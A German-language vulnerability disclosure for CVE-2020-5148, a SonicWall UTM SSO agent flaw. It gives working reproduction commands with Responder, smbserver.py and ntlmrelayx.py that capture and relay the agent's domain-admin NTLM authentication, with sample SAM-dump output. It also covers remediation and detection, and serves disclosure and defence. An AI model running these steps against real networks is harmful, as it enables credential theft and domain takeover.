CVE-2020-5148

Erzwungene Authentifizierung im SonicWall UTM SSO-Agent

Der SonicWall SSO-Agent identifiziert den Benutzer hinter einer bestimmten IP-Adresse, indem er diese Workstation per NetAPI (Standard) oder WMI abfragt. Er validiert die Workstation nicht, bevor er die NTLM-Authentifizierung einleitet, und fragt dieselbe Adresse für die Dauer der Sitzung weiterhin ab.

Da der SSO-Agent-Dienst Administratorrechte auf jeder Workstation und jedem Server benötigt, die er abfragt, wird er in der Praxis als Domain-Admin bereitgestellt. Jede nicht authentifizierte Partei, die Webdatenverkehr durch das UTM-Gerät leiten kann, kann daher ein Domain-Admin-Konto dazu bringen, sich an einem Host ihrer Wahl zu authentifizieren, und diese Authentifizierung erfassen oder weiterleiten.

Veröffentlicht als CVE-2020-5148, Hersteller-Sicherheitshinweis SNWLID-2021-0003.

Entdeckt und gemeldet von Sedric Louissaint von Show Up Show Out Security.

Zusammenfassung

NVD-Beschreibung:

Die Standardkonfiguration des SonicWall-SSO-Agenten verwendet NetAPI, um die zugehörigen IPs im Netzwerk abzufragen. Diese Client-Abfragemethode ermöglicht es einem potenziellen Angreifer, den Passwort-Hash zu erfassen.

Technisches Detail

Der vorgesehene Ablauf und die zwei Schritte, die er auslässt

1. Der Datenverkehr eines Benutzers erreicht das SonicWALL-UTM-Gerät.
2. Das Gerät sendet die IP des Benutzers als „Benutzernamen-Anfrage“ an den SSO-Agenten. Blockierte Pakete werden zurückgehalten.
3. Der SSO-Agent antwortet mit dem Benutzernamen, der an dieser Workstation angemeldet ist.
4. LDAP oder die lokale Datenbank löst die Gruppenmitgliedschaft auf.
5. Die Richtlinie wird angewendet und der zurückgehaltene Datenverkehr wird freigegeben.
6. Das Gerät fragt den SSO-Agenten weiterhin ab, um zu bestätigen, dass derselbe Benutzer noch angemeldet ist.

Die Anmerkungen kennzeichnen, was das Herstellerdiagramm auslässt:

• Schritt 2.5 Der SSO-Agent muss sich an der Workstation authentifizieren, bevor er sie abfragen kann. Das ist ein ausgehender NTLM-Handshake an eine Adresse, die von demjenigen bereitgestellt wird, der den Datenverkehr erzeugt hat, ohne vorherige Validierung dieser Adresse.
• Schritt 5.5 Der Agent wiederholt diese Authentifizierung bei jeder Abfrage für die Dauer der Sitzung. Das Abfrageintervall ist in der GUI konfigurierbar.

Privilegienkontext

Der SSO-Agent-Dienst benötigt Administratorrechte auf allen zugehörigen Workstations und Servern, um die Abfrage überhaupt durchführen zu können. In praktisch jeder Bereitstellung bedeutet dies, dass das Dienstkonto ein Domain-Admin ist.

Die Anmeldedaten, die an einen nicht validierten Host übergeben werden, sind daher das Konto mit den höchsten Privilegien im Verzeichnis.

Auslösen

Es gibt keinen Exploit-Code. Jede ausgehende Webanfrage aus einem Segment, das das Gerät verarbeitet, ist ausreichend:

curl sonicwall.com

Die URL ist irrelevant, und die Anfrage muss nicht erfolgreich sein. Das Gerät beobachtet Datenverkehr von einer unbekannten IP, fordert den SSO-Agenten auf, den Benutzer dort zu identifizieren, und der Agent authentifiziert sich an dieser IP.

Erfassen der Anmeldedaten

Wenn Responder oder smbserver.py lauschen, trifft die NTLMv2-Authentifizierung des Agenten unaufgefordert ein und trifft aufgrund des Abfrageverhaltens weiterhin ein:

[SMB] NTLMv2-SSP Client   : 192.168.x.x
[SMB] NTLMv2-SSP Username : <DOMAIN>\<privileged account>
[SMB] NTLMv2-SSP Hash     : ...

Weiterleiten (Relaying)

Das Knacken ist optional. Wo SMB-Signierung nicht erzwungen wird, kann die Authentifizierung live an einen anderen Host weitergeleitet werden, der die Verbindung dann als das privilegierte Konto behandelt, das sie zu sein scheint:

ntlmrelayx.py -t <target> -smb2support -of <output>

[*] SMBD-Thread-4: Received connection from 192.168.x.x, attacking target smb://192.168.x.x
[*] Authenticating against smb://192.168.x.x as <DOMAIN>\<user> SUCCEED
[*] Starting service RemoteRegistry
[*] Target system bootKey: ...
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
[*] Done dumping SAM hashes for host: 192.168.x.x

Die Authentifizierung wird durch eine nicht authentifizierte Webanfrage ausgelöst und auf einer vollständig anderen Maschine konsumiert, was den vollständigen ACL-Bypass darstellt, der im Advisory beschrieben ist.

Reproduktion

In einem Labor, das Ihnen gehört oder für das Sie eine Testgenehmigung haben, mit einem für SSO konfigurierten UTM-Gerät und dem SSO-Agenten, der die standardmäßige NetAPI-Client-Abfragemethode verwendet:

1. Starten Sie einen Listener auf einem Host in einem Segment, das das Gerät verarbeitet:
   root@kitploit:~

   sudo responder -I <interface>
   # or
   sudo smbserver.py c . -smb2support
   

2. Erzeugen Sie von diesem selben Host ausgehenden Webdatenverkehr durch das Gerät:
   root@kitploit:~

   curl sonicwall.com
   

3. Eine verwundbare Konfiguration erzeugt innerhalb von Sekunden eine eingehende NTLMv2-Authentifizierung vom Dienstkonto des SSO-Agenten. Warten Sie, und es wiederholt sich, wegen des Abfrageverhaltens.
4. Optional können Sie die Anmeldedaten statt zu erfassen an einen Host mit deaktivierter SMB-Signierung weiterleiten:
   root@kitploit:~

   ntlmrelayx.py -t smb://<second-host> -smb2support -of relayed
   

Die vollständige Befehlsfolge finden Sie in poc/repro.sh.

Repository-Inhalt

poc/
  repro.sh       Listener, trigger and relay commands, commented, safe to read first
  notes.md       Why NetAPI triggers this, what WMI changes, detection guidance
media/
  01-sso-flow-annotated.png
  02-curl-crossing-network-boundary.png
  03-ntlmv2-hashes-captured.png
  04-ntlmrelayx-sam-dump.png
  05-sso-agent-version-4.1.10.0.png

Benutzernamen, Hashes und interne Adressen in den Aufnahmen sind geschwärzt oder stammen aus dem ursprünglichen Labor.

Behebung

1. Stellen Sie die Client-Abfrage von NetAPI auf WMI um. Dies ist der dokumentierte Workaround des Herstellers und die schnellste sinnvolle Änderung.
2. Führen Sie den SSO-Agenten nicht als ein Konto aus, das sich überall anmelden kann. Erlauben Sie administrator nicht, sich über den SSO-Agent-Dienst, den DC, den Exchange-Server oder den Terminalserver anzumelden. Wo das Konto privilegiert bleiben muss, verwenden Sie ein Passwort, das lang genug ist, dass Offline-Knacken nicht realistisch ist, zwanzig Zeichen oder mehr, niemals wiederverwendet.
3. Aktualisieren Sie den Directory Services Connector. NVD verzeichnet die Korrektur in 4.1.19. Beachten Sie, dass in den Tests des Forschers 4.1.19 und spätere Versionen weiterhin das zugrunde liegende Abfrageverhalten zeigten und stattdessen eine Warnung ausgaben, anstatt es zu entfernen. Eine Warnung ist keine Kontrolle, also behandeln Sie die WMI-Umstellung und die Härtung des Kontos als die eigentliche Gegenmaßnahme.
4. Erzwingen Sie SMB-Signierung im gesamten Bestand. Das verhindert nicht, dass die Anmeldedaten erfasst werden, aber es entfernt das Relaying als Option.
5. Erwägen Sie Extended Protection for Authentication für Dienste, die es unterstützen, und beschränken Sie ausgehendes SMB am Perimeter.
6. Erkennen Sie es. Authentifizierungsversuche vom Dienstkonto des SSO-Agenten an Hosts, die keine verwalteten Workstations sind, sind ein Ereignis mit hoher Signifikanz. Das gilt auch, wenn sich dieses Konto an einer Adresse authentifiziert, die niemals im Inventar aufgetaucht ist.

Zeitleiste

Artikel

• Persönlicher Blog: https://sedriclouissaint.com/blog/sonicwall-utm-sso-forced-authentication-cve-2020-5148/
• Show Up Show Out Security: https://susos.co/blog/authforce-sonicwall-utm-sso-forced-authentication-cve-2020-5148

Haftungsausschluss

Veröffentlicht nach der Offenlegung durch den Hersteller, für defensive und schulungsbezogene Zwecke. Es gibt hier keinen Exploit-Code, weil keiner erforderlich ist, und genau das ist der Kern des Befunds. Führen Sie diese Befehle nicht gegen Netzwerke aus, die Ihnen nicht gehören oder für die Sie keine schriftliche Testgenehmigung haben.